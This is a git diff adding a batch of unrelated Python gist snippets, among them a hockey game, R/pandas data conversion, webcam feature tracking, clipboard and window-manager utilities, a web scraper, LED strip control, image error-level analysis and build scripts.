+	def handle_touch(self, touch):
+		if self.winner:
+			# check for Winner overlay and clear.
+			# This is Tap to Play Again
+			self.winner = None
+			self.hide_overlay()
+			del self.hide_overlay
+			self.left_player.score = 0
+			self.right_player.score = 0
+			return
+
+		tx = touch.location.x
+		ty = touch.location.y
+		finger = Rect(tx - 20, ty - 20, 40, 40)
+
+		if finger.intersects(self.puck.pos):
+			dx = tx - touch.prev_location.x
+			dy = ty - touch.prev_location.y
+
+			# Super simple richochet off "unmoving" finger. Just reverse it
+			if abs(dx) < 5 and abs(dy) < 5:
+				self.puck.reverse_vector()
+				# Slide puck out from the finger. No puck holding.
+				if dx == 0: dx = self.puck.vector.x
+				if dy == 0: dy = self.puck.vector.y
+				if not any([dx, dy]): return
+				while finger.intersects(self.puck.pos):
+					self.puck.pos.x += dx
+					self.puck.pos.y += dy
+			else:
+				self.step = 0
+				self.puck_start_t = self.t
+				self.puck.vector = Vector3(dx * .8, dy * .8, 0)
+				self.puck.pos.x += dx
+				self.puck.pos.y += dy
+
+
+run(HockeyScene(), LANDSCAPE)
\ No newline at end of file
diff --git a/hard-gists/3287286/._snippet.py b/hard-gists/3287286/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3287286/._snippet.py differ
diff --git a/hard-gists/3287286/snippet.py b/hard-gists/3287286/snippet.py
new file mode 100644
index 00000000..e44f293a
--- /dev/null
+++ b/hard-gists/3287286/snippet.py
@@ -0,0 +1,84 @@
+# https://github.com/dalejung/trtools/blob/master/trtools/rpy/conversion.py
+import sys, copy, os, itertools
+
+import rpy2.robjects as robjects
+import rpy2.rinterface as rinterface
+from rpy2.robjects.vectors import SexpVector, ListVector
+from rpy2.robjects.robject import RObjectMixin, RObject
+import rpy2.robjects as robj
+import numpy as np
+import pandas.rpy.common as rcom
+import pandas as pd
+
+NA_TYPES = rcom.NA_TYPES
+VECTOR_TYPES = rcom.VECTOR_TYPES
+
+baseenv_ri = rinterface.baseenv
+globalenv_ri = rinterface.globalenv
+
+def my_ri2py(o):
+    res = None
+    try:
+        rcls = o.do_slot("class")
+    except LookupError, le:
+        rcls = [None]
+
+    if isinstance(o, SexpVector):
+        if 'xts' in rcls:
+            res = convert_xts_to_df(o)
+
+    if res is None:
+        res = robjects.default_ri2py(o)
+
+    return res
+
+def convert_xts_to_df(o):
+    """
+        Will convert xts objects to DataFrame
+    """
+    dates = o.do_slot('index')
+    dates = np.array(dates, dtype=np.dtype("M8[s]"))
+    res = robjects.default_ri2py(o)
+    df = rcom.convert_robj(res)
+    df.index = dates
+    return df
+
+robjects.conversion.ri2py = my_ri2py
+
+def pd_py2ri(o):
+    """ 
+    """
+
+    res = None
+    if isinstance(o, pd.DataFrame) and isinstance(o.index, pd.DatetimeIndex):
+        res = convert_df_to_xts(o)
+
+    if res is None:
+        res = robjects.default_py2ri(o)
+
+    return res
+
+def convert_df_to_xts(df, strings_as_factors=False):
+    r_dataframe = XTS(df)
+    return r_dataframe
+
+class XTS(RObject):
+    """ R 'as.xts'.
+    """
+    
+    def __init__(self, df):
+        """ Create a xts.
+        """
+        self.rdf = None
+        if isinstance(df, pd.DataFrame):
+            rdf = rcom.convert_to_r_dataframe(df)
+            self.rdf = rdf
+            xts = baseenv_ri.get("as.xts").rcall(tuple([('x', rdf)]), globalenv_ri)
+            super(XTS, self).__init__(xts)
+        else:
+            raise ValueError("Currently only supporting DataFrames")
+    
+    def __repr__(self):
+        return self.rdf.__repr__()
+
+robjects.conversion.py2ri = pd_py2ri
\ No newline at end of file
diff --git a/hard-gists/329142c1740500bd3797/._snippet.py b/hard-gists/329142c1740500bd3797/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/329142c1740500bd3797/._snippet.py differ
diff --git a/hard-gists/329142c1740500bd3797/snippet.py b/hard-gists/329142c1740500bd3797/snippet.py
new file mode 100644
index 00000000..d76f0a58
--- /dev/null
+++ b/hard-gists/329142c1740500bd3797/snippet.py
@@ -0,0 +1,34 @@
+# Note: This _will_ GUI prompt a user for permission to locate them via python, even if run as root
+
+from CoreLocation import CLLocationManager, kCLDistanceFilterNone, kCLLocationAccuracyThreeKilometers
+from Foundation import NSRunLoop, NSDate, NSObject
+
+is_enabled = CLLocationManager.locationServicesEnabled()
+is_authorized = CLLocationManager.authorizationStatus()
+
+class MyLocationManagerDelegate(NSObject):
+    def init(self):
+        self = super(MyLocationManagerDelegate, self).init()
+        if not self:
+            return
+        self.locationManager = CLLocationManager.alloc().init()
+        self.locationManager.setDelegate_(self)
+        self.locationManager.setDistanceFilter_(kCLDistanceFilterNone)
+        self.locationManager.setDesiredAccuracy_(kCLLocationAccuracyThreeKilometers)
+        self.locationManager.startUpdatingLocation()
+        return self        
+    def locationManager_didUpdateToLocation_fromLocation_(self, manager, newloc, oldloc):
+        print "NEW:", newloc.description()
+        if oldloc is not None:
+            print "OLD:", oldloc.description()
+        else:
+            print "OLD: <None>"
+    def locationManager_didFailWithError_(self, manager, err):
+        print "ERR:", err.description()
+
+
+def main():
+    finder = MyLocationManagerDelegate.alloc().init()
+    for x in range(5):
+         print "loop", x
+         NSRunLoop.currentRunLoop().runUntilDate_(NSDate.dateWithTimeIntervalSinceNow_(10))
diff --git a/hard-gists/3295631/._snippet.py b/hard-gists/3295631/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3295631/._snippet.py differ
diff --git a/hard-gists/3295631/snippet.py b/hard-gists/3295631/snippet.py
new file mode 100644
index 00000000..52309472
--- /dev/null
+++ b/hard-gists/3295631/snippet.py
@@ -0,0 +1,75 @@
+import cv2
+import numpy as np
+import itertools
+
+lk_params = dict( winSize  = (10, 10), 
+                  maxLevel = 5, 
+                  criteria = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 0.03))   
+
+feature_params = dict( maxCorners = 3000, 
+                       qualityLevel = 0.5,
+                       minDistance = 3,
+                       blockSize = 3)
+
+def lk():
+    cam = cv2.VideoCapture(0)
+    _, img = cam.read()
+    oldg = cv2.cvtColor(img, cv2.cv.CV_BGR2GRAY)
+    bb = [200,200,300,300]
+    old_pts=[]
+    while True:
+        try:
+            _, img = cam.read()
+            img1 = img[bb[0]:bb[2],bb[1]:bb[3]]
+            #print img1.shape
+            g = cv2.cvtColor(img1, cv2.cv.CV_BGR2GRAY)
+            #print g.shape
+            pt = cv2.goodFeaturesToTrack(g, **feature_params)
+            for i in xrange(len(pt)):
+                pt[i][0][0] = pt[i][0][0]+bb[0]
+                pt[i][0][1] = pt[i][0][1]+bb[1]
+            newg = cv2.cvtColor(img, cv2.cv.CV_BGR2GRAY)
+            p0 = np.float32(pt).reshape(-1, 1, 2)
+            p1, st, err = cv2.calcOpticalFlowPyrLK(oldg, newg, p0, None, **lk_params)
+            p0r, st, err = cv2.calcOpticalFlowPyrLK(newg, oldg, p1, None, **lk_params)
+            d = abs(p0-p0r).reshape(-1, 2).max(-1)
+            good = d < 1
+            new_pts = []
+            for pts, val in itertools.izip(p1, good):
+                if val:
+                    new_pts.append([pts[0][0], pts[0][1]])
+                    cv2.circle(img, (pts[0][0], pts[0][1]), 5, thickness=3, color=(255,255,0))
+            bb = predictBB(bb, old_pts, new_pts)
+            if bb[0]+bb[2] >= img.shape[0]:
+                bb[0] = img.shape[0] - bb[2] - 1
+            if bb[1]+bb[3] >= img.shape[1]:
+                bb[1] = img.shape[1] - bb[3] - 1
+            old_pts = new_pts
+            oldg = newg
+            cv2.rectangle(img, (bb[0],bb[1]),(bb[0]+bb[2],bb[1]+bb[3]), color=(255,0,0))
+            cv2.imshow("LK", img)
+            cv2.waitKey(1)
+        except KeyboardInterrupt:
+            break
+            
+def predictBB(bb0, pt0, pt1):
+    if not pt0:
+        pt0 = pt1
+    dx=[]
+    dy=[]
+    for p1, p2 in itertools.izip(pt0, pt1):
+        dx.append(p2[0]-p1[0])
+        dy.append(p2[1]-p1[1])
+    if not dx or not dy:
+        return bb0
+    cen_dx = round(sum(dx)/len(dx))
+    cen_dy = round(sum(dy)/len(dy))
+    print cen_dx, cen_dy,
+    print "shift"
+    bb = [int(bb0[0]+cen_dx), int(bb0[1]+cen_dy), int(bb0[2]), int(bb0[3])]
+    if bb[0] <= 0:
+        bb[0] = 1
+    if bb[1] <= 0:
+        bb[1] = 1
+    return bb
+lk()
diff --git a/hard-gists/3298867/._snippet.py b/hard-gists/3298867/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3298867/._snippet.py differ
diff --git a/hard-gists/3298867/snippet.py b/hard-gists/3298867/snippet.py
new file mode 100644
index 00000000..0a81a1cd
--- /dev/null
+++ b/hard-gists/3298867/snippet.py
@@ -0,0 +1,16 @@
+"""WSGI application file"""
+
+import os
+from django.core.wsgi import get_wsgi_application
+from barrel import cooper
+
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings')
+
+django_app = get_wsgi_application()
+
+auth_decorator = cooper.basicauth(
+    users=[('someuser', 'somepass'),], 
+    realm='Password Protected'
+)
+
+application = auth_decorator(django_app)
\ No newline at end of file
diff --git a/hard-gists/3305365/._snippet.py b/hard-gists/3305365/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3305365/._snippet.py differ
diff --git a/hard-gists/3305365/snippet.py b/hard-gists/3305365/snippet.py
new file mode 100644
index 00000000..3db64ea5
--- /dev/null
+++ b/hard-gists/3305365/snippet.py
@@ -0,0 +1,16 @@
+import base64
+import cStringIO
+
+from django.core.files.uploadedfile import InMemoryUploadedFile
+
+# ...
+if request.POST.get('file') and request.POST.get('name'):
+    file = cStringIO.StringIO(base64.b64decode(request.POST['file']))
+    image = InMemoryUploadedFile(file,
+       field_name='file',
+       name=request.POST['name'],
+       content_type="image/jpeg",
+       size=sys.getsizeof(file),
+       charset=None)
+request.FILES[u'file'] = image
+# ...
\ No newline at end of file
diff --git a/hard-gists/3308963/._snippet.py b/hard-gists/3308963/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3308963/._snippet.py differ
diff --git a/hard-gists/3308963/snippet.py b/hard-gists/3308963/snippet.py
new file mode 100644
index 00000000..5ebfe71c
--- /dev/null
+++ b/hard-gists/3308963/snippet.py
@@ -0,0 +1,33 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 -*-
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 3 of the License, or
+# (at your option) any later version.
+
+import argparse, dbus, sys
+bus = dbus.SessionBus()
+klipper = bus.get_object('org.kde.klipper', '/klipper')
+klipper = dbus.Interface(klipper, dbus_interface='org.kde.klipper.klipper')
+
+parser = argparse.ArgumentParser()
+parser.add_argument("-i", "--item", type=int, nargs="?", const=0,
+	help="get the Nth item in clipboard history", metavar="N")
+parser.add_argument("-x", "--clear", action="store_true", default=False,
+	help="clear the clipboard history")
+parser.add_argument("args", nargs="?")
+
+args = parser.parse_args()
+
+if args.clear:
+	klipper.clearClipboardHistory()
+elif args.item is not None:
+	sys.stdout.write(klipper.getClipboardHistoryItem(args.item))
+else:
+	if not args.args:
+		content = sys.stdin.read()
+	else:
+		file = open(args.args, "r")
+		content = file.read()
+		file.close()
+	klipper.setClipboardContents(content)
diff --git a/hard-gists/3309494/._snippet.py b/hard-gists/3309494/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3309494/._snippet.py differ
diff --git a/hard-gists/3309494/snippet.py b/hard-gists/3309494/snippet.py
new file mode 100644
index 00000000..a2edfdfa
--- /dev/null
+++ b/hard-gists/3309494/snippet.py
@@ -0,0 +1,54 @@
+#!/usr/bin/python
+
+# Light painting / POV demo for Raspberry Pi using
+# Adafruit Digital Addressable RGB LED flex strip.
+# ----> http://adafruit.com/products/306
+
+import RPi.GPIO as GPIO, Image, time
+
+# Configurable values
+filename  = "hello.png"
+dev       = "/dev/spidev0.0"
+
+# Open SPI device, load image in RGB format and get dimensions:
+spidev    = file(dev, "wb")
+print "Loading..."
+img       = Image.open(filename).convert("RGB")
+pixels    = img.load()
+width     = img.size[0]
+height    = img.size[1]
+print "%dx%d pixels" % img.size
+# To do: add resize here if image is not desired height
+
+# Calculate gamma correction table.  This includes
+# LPD8806-specific conversion (7-bit color w/high bit set).
+gamma = bytearray(256)
+for i in range(256):
+	gamma[i] = 0x80 | int(pow(float(i) / 255.0, 2.5) * 127.0 + 0.5)
+
+# Create list of bytearrays, one for each column of image.
+# R, G, B byte per pixel, plus extra '0' byte at end for latch.
+print "Allocating..."
+column = [0 for x in range(width)]
+for x in range(width):
+	column[x] = bytearray(height * 3 + 1)
+
+# Convert 8-bit RGB image into column-wise GRB bytearray list.
+print "Converting..."
+for x in range(width):
+	for y in range(height):
+		value = pixels[x, y]
+		y3 = y * 3
+		column[x][y3]     = gamma[value[1]]
+		column[x][y3 + 1] = gamma[value[0]]
+		column[x][y3 + 2] = gamma[value[2]]
+
+
+# Then it's a trivial matter of writing each column to the SPI port.
+print "Displaying..."
+while True:
+	for x in range(width):
+                spidev.write(column[x])
+                spidev.flush()
+		time.sleep(0.001)
+	time.sleep(0.5)
\ No newline at end of file
diff --git a/hard-gists/3310561/._snippet.py b/hard-gists/3310561/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3310561/._snippet.py differ
diff --git a/hard-gists/3310561/snippet.py b/hard-gists/3310561/snippet.py
new file mode 100644
index 00000000..1f8aa1dd
--- /dev/null
+++ b/hard-gists/3310561/snippet.py
@@ -0,0 +1,40 @@
+import os
+import i3
+import sys
+import pickle
+
+def showHelp():
+    print(sys.argv[0] + " <save|restore>")
+
+def get_visible_workspace():
+    for workspace in i3.get_workspaces():
+        if workspace['visible']:
+            return workspace['name']
+
+if __name__ == '__main__':
+    if len(sys.argv) < 2:
+        showHelp()
+        sys.exit(1)
+
+    if sys.argv[1] == 'save':
+        print("Storing...")
+        workspace_mapping = {}
+        for workspace in i3.get_workspaces():
+            workspace_mapping[workspace['name']] = workspace['output']
+        pickle.dump(workspace_mapping, open("%s/.i3/workspace_mapping" % os.path.expanduser("~"), "wb"))
+    elif sys.argv[1] == 'restore':
+        print("Restoring")
+        try:
+            workspace_mapping = pickle.load(open("%s/.i3/workspace_mapping" % os.path.expanduser("~"), "rb"))
+        except Exception:
+            print("Can't find existing mappings...")
+            sys.exit(1)
+        current_workspace = get_visible_workspace()
+        for workspace in i3.get_workspaces():
+            if workspace['name'] in workspace_mapping:
+                i3.msg('command', 'workspace %s' % workspace['name'])
+                i3.msg('command', 'move workspace to output %s' % workspace_mapping[workspace['name']])
+        i3.msg('command', 'workspace %s' % current_workspace)
+    else:
+        showHelp()
+        sys.exit(1)
diff --git a/hard-gists/33150bde6bd296310e41ea5d018fce51/._snippet.py b/hard-gists/33150bde6bd296310e41ea5d018fce51/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/33150bde6bd296310e41ea5d018fce51/._snippet.py differ
diff --git a/hard-gists/33150bde6bd296310e41ea5d018fce51/snippet.py b/hard-gists/33150bde6bd296310e41ea5d018fce51/snippet.py
new file mode 100644
index 00000000..a7f3da86
--- /dev/null
+++ b/hard-gists/33150bde6bd296310e41ea5d018fce51/snippet.py
@@ -0,0 +1,92 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+'''
+1. Open Terminal
+2. sudo easy_install pip
+3. pip install --user requests
+4. pip install --user requests_threads
+5. pip install --user beautifulsoup4
+6. pip install --user --upgrade pyopenssl
+7. pip install --user service_identity
+'''
+
+from __future__ import print_function
+import re
+import sys
+
+from bs4 import BeautifulSoup
+import requests
+from requests.exceptions import ConnectionError, ReadTimeout
+from requests_threads import AsyncSession
+from twisted.internet.defer import inlineCallbacks
+from twisted.internet.task import react
+
+RESULTS_PER_PAGE=200
+URL = 'http://www.nihon-kankou.or.jp/event?pref__=&city__=&purpose__=&keyword__=&rng__=&lat__=&lng__=&re_search__=true&linePerPage__={results_per_page}&event_list__=true&el_month1__=1%E6%9C%88&el_month2__=12%E6%9C%88&pageStart__={page_start}'
+
+def scrape_page(r, f):
+    if r.status_code is not 200:
+        print('non 200 status code for url: %s' % r.url)
+        sys.exit(1)
+    soup = BeautifulSoup(r.text, 'html.parser')
+    phone_info = soup.find(string=re.compile('TEL'))
+    if phone_info is not None:
+        phone_info = phone_info.encode('utf-8').strip().split(' ')
+        if len(phone_info) == 2:
+            phone_info = phone_info[1]
+        elif len(phone_info): # handles both len == 1 and len > 2
+            phone_info = ' '.join(phone_info)
+    else:
+        phone_info = 'No phone number'
+    print(r.url, file=f)
+    print(soup.find(id='detail_heading').h1.text.encode('utf-8').strip(), file=f)
+    print(phone_info, file=f)
+    print(soup.find('th', string=re.compile('所在地'.decode('utf-8'))).parent.td.text.encode('utf-8').strip().split('\n')[0], file=f)
+    print('', file=f)
+
+@inlineCallbacks
+def main(reactor):
+    with open('event_info.txt', 'w+') as f:
+        session = AsyncSession(n=RESULTS_PER_PAGE)
+        i = 0
+        while True:
+            print('%d events written...' % i)
+            responses = []
+            try:
+                r = requests.get(URL.format(results_per_page=RESULTS_PER_PAGE, page_start=i), timeout=30)
+            except ReadTimeout as e:
+                print('timed out paging through URLs')
+                sys.exit(1)
+            if r.status_code is not 200:
+                print('non 200 status code %d: i=%d' % (r.status_code, i))
+                sys.exit(1)
+            soup = BeautifulSoup(r.text, 'html.parser')
+            try:
+                results = soup.find(id='result_body').find(class_='list04').find_all('li')
+            except AttributeError:
+                print('invalid page')
+                sys.exit(1)
+            if not results:
+                break
+            for li in results:
+                url = 'http://www.nihon-kankou.or.jp/%s' % li.find('a', href=True)['href']
+                responses.append(session.get(url, timeout=30))
+            for idx, r in enumerate(responses):
+                try:
+                    r = yield r
+                except ConnectionError as e:
+                    print('failed on request number: %d; please lower RESULTS_PER_PAGE' % idx)
+                    raise e
+                except ReadTimeout as e:
+                    print('timed out requesting event page')
+                    sys.exit(1)
+                try:
+                    scrape_page(r, f)
+                except Exception:
+                    print('error with url: %s' % r.url)
+                    raise
+            i += RESULTS_PER_PAGE
+
+if __name__ == '__main__':
+    react(main)
\ No newline at end of file
diff --git a/hard-gists/3334a3cc57b31ae3a5c4/._snippet.py b/hard-gists/3334a3cc57b31ae3a5c4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3334a3cc57b31ae3a5c4/._snippet.py differ
diff --git a/hard-gists/3334a3cc57b31ae3a5c4/snippet.py b/hard-gists/3334a3cc57b31ae3a5c4/snippet.py
new file mode 100644
index 00000000..f635e765
--- /dev/null
+++ b/hard-gists/3334a3cc57b31ae3a5c4/snippet.py
@@ -0,0 +1,76 @@
+from projects_repository import ProjectsRepository
+from project import Project
+
+
+def load_all_items_from_database(repository):
+    print("Loading all items from database:")
+    projects = repository.read()
+    at_least_one_item = False
+    for p in projects:
+        at_least_one_item = True
+        tmp_project = Project.build_from_json(p)
+        print("ID = {} | Title = {} | Price = {}".format(tmp_project._id,tmp_project.title, tmp_project.price))
+    if not at_least_one_item:
+        print("No items in the database")
+
+
+def test_create(repository, new_project):
+    print("\n\nSaving new_project to database")
+    repository.create(new_project)
+    print("new_project saved to database")
+    print("Loading new_project from database")
+    db_projects = repository.read(project_id=new_project._id)
+    for p in db_projects:
+        project_from_db = Project.build_from_json(p)
+        print("new_project = {}".format(project_from_db.get_as_json()))
+
+
+def test_update(repository, new_project):
+    print("\n\nUpdating new_project in database")
+    repository.update(new_project)
+    print("new_project updated in database")
+    print("Reloading new_project from database")
+    db_projects = repository.read(project_id=new_project._id)
+    for p in db_projects:
+        project_from_db = Project.build_from_json(p)
+        print("new_project = {}".format(project_from_db.get_as_json()))
+
+
+def test_delete(repository, new_project):
+    print("\n\nDeleting new_project to database")
+    repository.delete(new_project)
+    print("new_project deleted from database")
+    print("Trying to reload new_project from database")
+    db_projects = repository.read(project_id=new_project._id)
+    found = False
+    for p in db_projects:
+        found = True
+        project_from_db = Project.build_from_json(p)
+        print("new_project = {}".format(project_from_db.get_as_json()))
+
+    if not found:
+        print("Item with id = {} was not found in the database".format(new_project._id))
+
+
+def main():
+    repository = ProjectsRepository()
+
+    #display all items from DB
+    load_all_items_from_database(repository)
+
+    #create new_project and read back from database
+    new_project = Project.build_from_json({"title":"Wordpress website for Freelancers", 
+        "description":"This should be a very simple website, based on wordpress with functionalities for Freelancers", 
+        "price":250, 
+        "assigned_to":"John Doe"})
+    test_create(repository, new_project)
+
+    #update new_project and read back from database
+    new_project.price = 350
+    test_update(repository, new_project)
+
+    #delete new_project and try to read back from database
+    test_delete(repository, new_project)
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/3340802/._snippet.py b/hard-gists/3340802/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3340802/._snippet.py differ
diff --git a/hard-gists/3340802/snippet.py b/hard-gists/3340802/snippet.py
new file mode 100644
index 00000000..a336154c
--- /dev/null
+++ b/hard-gists/3340802/snippet.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python3
+
+import argparse
+import re
+import json
+from urllib.parse import quote
+from urllib.request import urlopen, Request
+
+def get_contents(l):
+    url = "http://en.wikipedia.org/w/api.php?action=query&prop=revisions&format=json&rvprop=content&redirects=&titles="
+    url += "|".join(quote(i) for i in l)
+
+    data = json.loads(urlopen(url).read().decode('utf-8'))
+
+    normalized = {i: i for i in l}
+    if "normalized" in data["query"]:
+        normalized.update({n["from"]: n["to"] for n in data["query"]["normalized"]})
+    redirects = {i: i for i in normalized.values()}
+    if "redirects" in data["query"]:
+        redirects.update({r["from"]: r["to"] for r in data["query"]["redirects"]})
+    contents = {p["title"]: p["revisions"][0]["*"] for p in data["query"]["pages"].values()}
+
+    return {i: contents[redirects[normalized[i]]] for i in l}
+
+
+def get_flag_pages(l):
+    d = get_contents(["Template:Country data %s" % i for i in l])
+
+    result = dict()
+    for k, v in d.items():
+        result[k[22:]] = re.findall("\|[ \t\r\n]*flag alias[ \t\r\n]*=[ \t\r\n]*(.*?)[ \t\r\n]*\|", v)[0]
+
+    return result
+
+
+def get_download_urls(l):
+    url = "http://en.wikipedia.org/w/api.php?action=query&prop=imageinfo&format=json&iiprop=url&iilimit=1&titles="
+    url += "|".join(quote(i) for i in l)
+
+    data = json.loads(urlopen(url).read().decode('utf-8'))
+
+    normalized = {i: i for i in l}
+    if "normalized" in data["query"]:
+        normalized.update({n["from"]: n["to"] for n in data["query"]["normalized"]})
+    redirects = {i: i for i in normalized.values()}
+    if "redirects" in data["query"]:
+        redirects.update({r["from"]: r["to"] for r in data["query"]["redirects"]})
+    contents = {p["title"]: p["imageinfo"][0]["url"] for p in data["query"]["pages"].values()}
+
+    return {i: contents[redirects[normalized[i]]] for i in l}
+
+
+def do(l):
+    d = get_flag_pages(l)
+    urls = get_download_urls(["File:%s" % i for i in d.values()])
+
+    for k, v in {k: urls["File:%s" % v] for k, v in d.items()}.items():
+        s = urlopen(Request(v, headers={'User-agent': 'Mozilla/5.0'})).read()
+        name = "%s%s" % (k, v[v.rindex('.'):])
+        open(name, "wb").write(s)
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description='Retrieve country flags from Wikipedia.')
+    parser.add_argument('code', nargs='+',
+                       help='a country name or code (either ISO, IOC, etc.)')
+    args = parser.parse_args()
+    for i in range(0, len(args.code), 50):
+        do(args.code[i:i+50])
\ No newline at end of file
diff --git a/hard-gists/3341591/._snippet.py b/hard-gists/3341591/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3341591/._snippet.py differ
diff --git a/hard-gists/3341591/snippet.py b/hard-gists/3341591/snippet.py
new file mode 100644
index 00000000..cf3f97f6
--- /dev/null
+++ b/hard-gists/3341591/snippet.py
@@ -0,0 +1,31 @@
+import struct
+print( 8 * struct.calcsize("P"))
+import pygame
+from pygame import *
+from player import Player
+controls=[False, False, False, False]
+screen = pygame.display.set_mode((640, 400))
+running = 1
+player=Player("player.png", [100,150])
+while running:
+	player.update()
+	events = pygame.event.get()
+	for event in events:
+		if event.type == pygame.QUIT:
+			running = 0
+		if event.type == KEYDOWN:
+			if event.key==K_w and player.onGround:
+				player.vspeed=-10
+			if event.key==K_a:
+				controls[1]=True
+			if event.key==K_d:
+				controls[3]=True
+		if event.type == KEYUP:
+			if event.key==K_a:
+				controls[1]=False
+			if event.key==K_d:
+				controls[3]=False
+	player.move(False, controls[1],False, controls[3])
+	screen.fill((100, 127, 180))
+	screen.blit(player.image, player.position)
+	pygame.display.flip()
\ No newline at end of file
diff --git a/hard-gists/3356622/._snippet.py b/hard-gists/3356622/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3356622/._snippet.py differ
diff --git a/hard-gists/3356622/snippet.py b/hard-gists/3356622/snippet.py
new file mode 100644
index 00000000..f381b838
--- /dev/null
+++ b/hard-gists/3356622/snippet.py
@@ -0,0 +1,29 @@
+#!/usr/bin/env python
+
+# This is a really simple implementation of ELA as described in
+# http://blackhat.com/presentations/bh-dc-08/Krawetz/Whitepaper/bh-dc-08-krawetz-WP.pdf
+# You shouldn't actually use it, or at least read the paper carefully
+# and implement more of the techniques before drawing any conclusions.
+
+from PIL import Image, ImageChops, ImageEnhance
+import sys, os.path
+
+filename = sys.argv[1]
+resaved = filename + '.resaved.jpg'
+ela = filename + '.ela.png'
+
+im = Image.open(filename)
+
+im.save(resaved, 'JPEG', quality=95)
+resaved_im = Image.open(resaved)
+
+ela_im = ImageChops.difference(im, resaved_im)
+extrema = ela_im.getextrema()
+max_diff = max([ex[1] for ex in extrema])
+scale = 255.0/max_diff
+
+ela_im = ImageEnhance.Brightness(ela_im).enhance(scale)
+
+print "Maximum difference was %d" % (max_diff)
+ela_im.save(ela)
+ela_im.show()
diff --git a/hard-gists/3359203/._snippet.py b/hard-gists/3359203/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3359203/._snippet.py differ
diff --git a/hard-gists/3359203/snippet.py b/hard-gists/3359203/snippet.py
new file mode 100644
index 00000000..28b6b4c6
--- /dev/null
+++ b/hard-gists/3359203/snippet.py
@@ -0,0 +1,100 @@
+import os
+import sys
+
+from distutils.core import setup
+from distutils.dir_util import copy_tree
+from py2exe.build_exe import py2exe
+
+import glob
+import zlib
+import shutil
+import time
+import pyface
+import enable
+import tvtk
+import mayavi
+import vtk
+import compileall
+
+distDir = "building-temp"
+
+# Remove the build folder
+shutil.rmtree("build", ignore_errors=True)
+
+class Target(object):
+    """ A simple class that holds information on our executable file. """
+    def __init__(self, **kw):
+        """ Default class constructor. Update as you need. """
+        self.__dict__.update(kw)
+        
+
+def copyPackage (pkg, name, dist) :
+    p = os.path.join (dist, name)
+    copy_tree (pkg.__path__[0], p)
+
+copyPackage (tvtk, "tvtk", distDir)
+copyPackage (mayavi, "mayavi", distDir)
+copyPackage (pyface, "pyface", distDir)
+copyPackage (enable, "enable", distDir)
+copyPackage (vtk, "vtk", distDir)
+
+
+includes = ['sip', 'PyQt4.QtSvg', 'PyQt4.QtNetwork', 
+            'PyQt4.Qt', 'uuid', 'shelve', 'tvtk', "mayavi", 'PyQt4.QtOpenGL',
+            'vtk', 'email', 'email.iterators', 'ntlm',
+             'subprocess',  'hardwareid', 'multiprocessing']
+excludes = ['_gtkagg', '_tkagg', 'bsddb', 'curses', 'email', 'pywin.debugger',
+            'pywin.debugger.dbgcon', 'pywin.dialogs', 'tcl', 
+            'Tkconstants', 'Tkinter']
+            
+packages = ['tvtk', "mayavi", 'vtk']
+
+dll_excludes = ['libgdk-win32-2.0-0.dll', 'libgobject-2.0-0.dll', 'tcl84.dll',
+                'tk84.dll']
+
+data_files = []
+icon_resources = [(1, "main.ico")]
+bitmap_resources = []
+other_resources = []
+
+
+GUI2Exe_Target_1 = Target(
+    # what to build
+    script = "run.py",
+    icon_resources = icon_resources,
+    bitmap_resources = bitmap_resources,
+    other_resources = other_resources,
+    dest_base = "xxx",    
+    version = "1.0",
+    company_name = "xxx",
+    copyright = "xxx",
+    name = "xxx",
+    )
+
+                    
+setup(
+
+    data_files = data_files,
+
+    options = {"py2exe": {"compressed": 0, 
+                          "optimize": 0,
+                          "includes": includes,
+                          "excludes": excludes,
+                          "packages": packages,
+                          "dll_excludes": dll_excludes,
+                          "bundle_files": 3,
+                          "dist_dir": distDir,
+                          "xref": False,
+                          "skip_archive": True,
+                          "ascii": False,
+                          "custom_boot_script": '',
+                         }
+              },
+
+    zipfile = r'library.zip',
+    console = [],
+    windows = [GUI2Exe_Target_1],
+    service = [],
+    com_server = [],
+    ctypes_com_server = []
+    )
diff --git a/hard-gists/3390999/._snippet.py b/hard-gists/3390999/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3390999/._snippet.py differ
diff --git a/hard-gists/3390999/snippet.py b/hard-gists/3390999/snippet.py
new file mode 100644
index 00000000..2af79c0f
--- /dev/null
+++ b/hard-gists/3390999/snippet.py
@@ -0,0 +1,34 @@
+import sublime, sublime_plugin, subprocess
+
+class TidyXmlCommand(sublime_plugin.TextCommand):
+  def run(self, edit):
+    if self.view.sel()[0].size() > 0:
+      self.cursor = None
+      for region in self.view.sel():
+        self.format(edit, region)
+    else:
+      self.cursor = self.view.sel()[0]
+      region = sublime.Region(0, self.view.size())
+      self.format(edit, region)
+    
+  def clear(self):
+    self.view.erase_status('tidyxml')
+
+  def format(self, edit, region):
+    command = 'tidy -xml -i -utf8 -w -q'
